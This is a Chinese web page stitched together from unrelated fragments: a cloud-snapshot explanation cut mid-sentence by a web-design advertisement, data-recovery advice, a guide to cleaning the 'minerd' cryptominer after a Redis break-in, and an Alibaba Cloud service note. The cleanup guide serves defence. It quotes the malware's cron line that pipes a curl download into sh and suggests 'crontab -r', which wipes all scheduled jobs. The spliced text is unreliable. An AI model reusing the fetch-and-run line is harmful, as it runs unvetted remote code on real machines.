快照是云服务器
创新互联建站：从2013年创立为各行业开拓出企业自己的“网站建设”服务，为成百上千家公司企业提供了专业的成都网站建设、做网站、网页设计和网站推广服务， 定制网站由设计师亲自精心设计，设计的效果完全按照客户的要求，并适当的提出合理的建议，拥有的视觉效果，策划师分析客户的同行竞争对手，根据客户的实际情况给出合理的网站构架，制作客户同行业具有领先地位的。
的一个功能
就是复制了几个数据保留在
群集的云服务器
上面保障数据的完整性，就算云服务器坏了，数据还在，不影响正常使用，以上资料由智讯达网络公司提供和高兴为你提供云服务器解答
如果没有做备份。可以用恢复软件试试。推荐用anedata全能恢复。数据丢失以后一定要保护好现场。只要没有覆盖破坏一般问题不大。
1. 关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP and iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP.
2. chmod -x minerd ,取消掉执行权限， 在没有找到根源前，千万不要删除 minerd，因为删除了，过一回会自动有生成一个。
3. pkill minerd ,杀掉进程
4. service stop crond 或者 crontab -r 删除所有的执行计划
5. 执行top，查看了一会，没有再发现minerd 进程了。
6.检查/var/spool/cron/目录下发现有个root用户的定时器文件。
下载脚本的语句：
*/5 * * * * curl -fsSL | sh
病毒文件内容如下，感兴趣的可以研究下：
 View Code
解决minerd并不是最终的目的，主要是要查找问题根源，我的服务器问题出在了redis服务了，黑客利用了redis的一个漏洞获得了服务器的访问权限，然后就注入了病毒，下面是解决办法和清除工作：
1. 修复 redis 的后门,
配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.
配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.
配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给攻击者使用config指令加大难度
好消息是Redis作者表示将会开发”real user”，区分普通用户和admin权限，普通用户将会被禁止运行某些命令，如conf
2. 打开 ~/.ssh/authorized_keys, 删除你不认识的账号
3. 查看你的用户列表，是不是有你不认识的用户添加进来。 如果有就删除掉.
阿里云服务申请撤回。如果不想把我们的服务器接入到阿里云，可以进行申请操作。
1、在阿里云官方平台，点击申请操作
2、拨打阿里云服务器官方客服进行咨询
